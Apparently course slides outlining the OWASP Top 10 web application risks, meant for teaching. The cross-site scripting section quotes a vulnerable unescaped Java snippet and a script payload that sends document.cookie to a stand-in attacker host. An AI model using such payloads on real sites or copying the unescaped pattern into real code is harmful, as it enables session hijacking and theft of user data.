Web Based Application Risks and Threats

Objectives

- Discuss web based application threats and risks
- Explain the OWASP Top 10

OWASP Top 10

- OWASP – Open Web Application Security Project
    - Started in 2001 and officially 2004
    - Designed to education about secure software
- Top 10
    - Represents the top 10 most critical risks to web applications
    - Released every few years to help developers and the community pay attention to risks
- Latest Top 10
    - 2013
    - 2017 – to be released in July or August of 2017

A1 - Injection

- Injection flaws have been at the top of the list for years
- Covers:
  - SQL
  - Command
  - XXE
  - LDAP
- Attacker sends untrusted data to a system that interprets the data
- Attacker can do almost anything depending on what software is running for the interpreter.

A2 – Broken Authentication and Session Management

- User sessions can be hijacked
- Information that can be stolen or accessed
  - Session ID
  - Usernames
  - Passwords
  - Account information
  - Cookies
- Poor authentication coding methods allow attackers to gain access

A3 – Cross-Site Scripting

- Very wide spread issue
- Can be either executed on the server or client
- Can also be stored or reflected attacks
- Attackers execute scripts via a browser
- The application uses untrusted data in the construction of the following HTML snippet without validation or escaping:
  - (String) page += "<input name='creditcard' type='TEXT' value='" + request.getParameter("CC") + "'>";
- The attacker modifies the ‘CC’ parameter in his browser to:
  - '><script>document.location='http://www.attacker.com/cgi-bin/cookie.cgi?foo='+document.cookie</script>'.
- This attack causes the victim’s session ID to be sent to the attacker’s website, allowing the attacker to hijack the user’s current session.

A4 – Broken Access Control

- Attackers use insufficient security measures to bypass authentication mechanisms
- Example: http://example.com/app/accountInfo?acct=notmyacct
- Change in parameter values allow access

A5 – Security Misconfiguration

- See the misconfiguration video

A6 – Sensitive Data Exposure

- Really this is just data exposure
- Can happen a number of different ways
- Most breaches occur because someone did not encrypt the data properly
- Can be used in conjunction with other methods

A7 – A10

- Dives into protection
- A7 – Insufficient Attack Protection
- A8 – Cross-Site Request Forgery – while this isn’t protection, it acts the same way as XSS
- A9 – Using Components with Known Vulnerabilities
- A10 – Underprotected APIs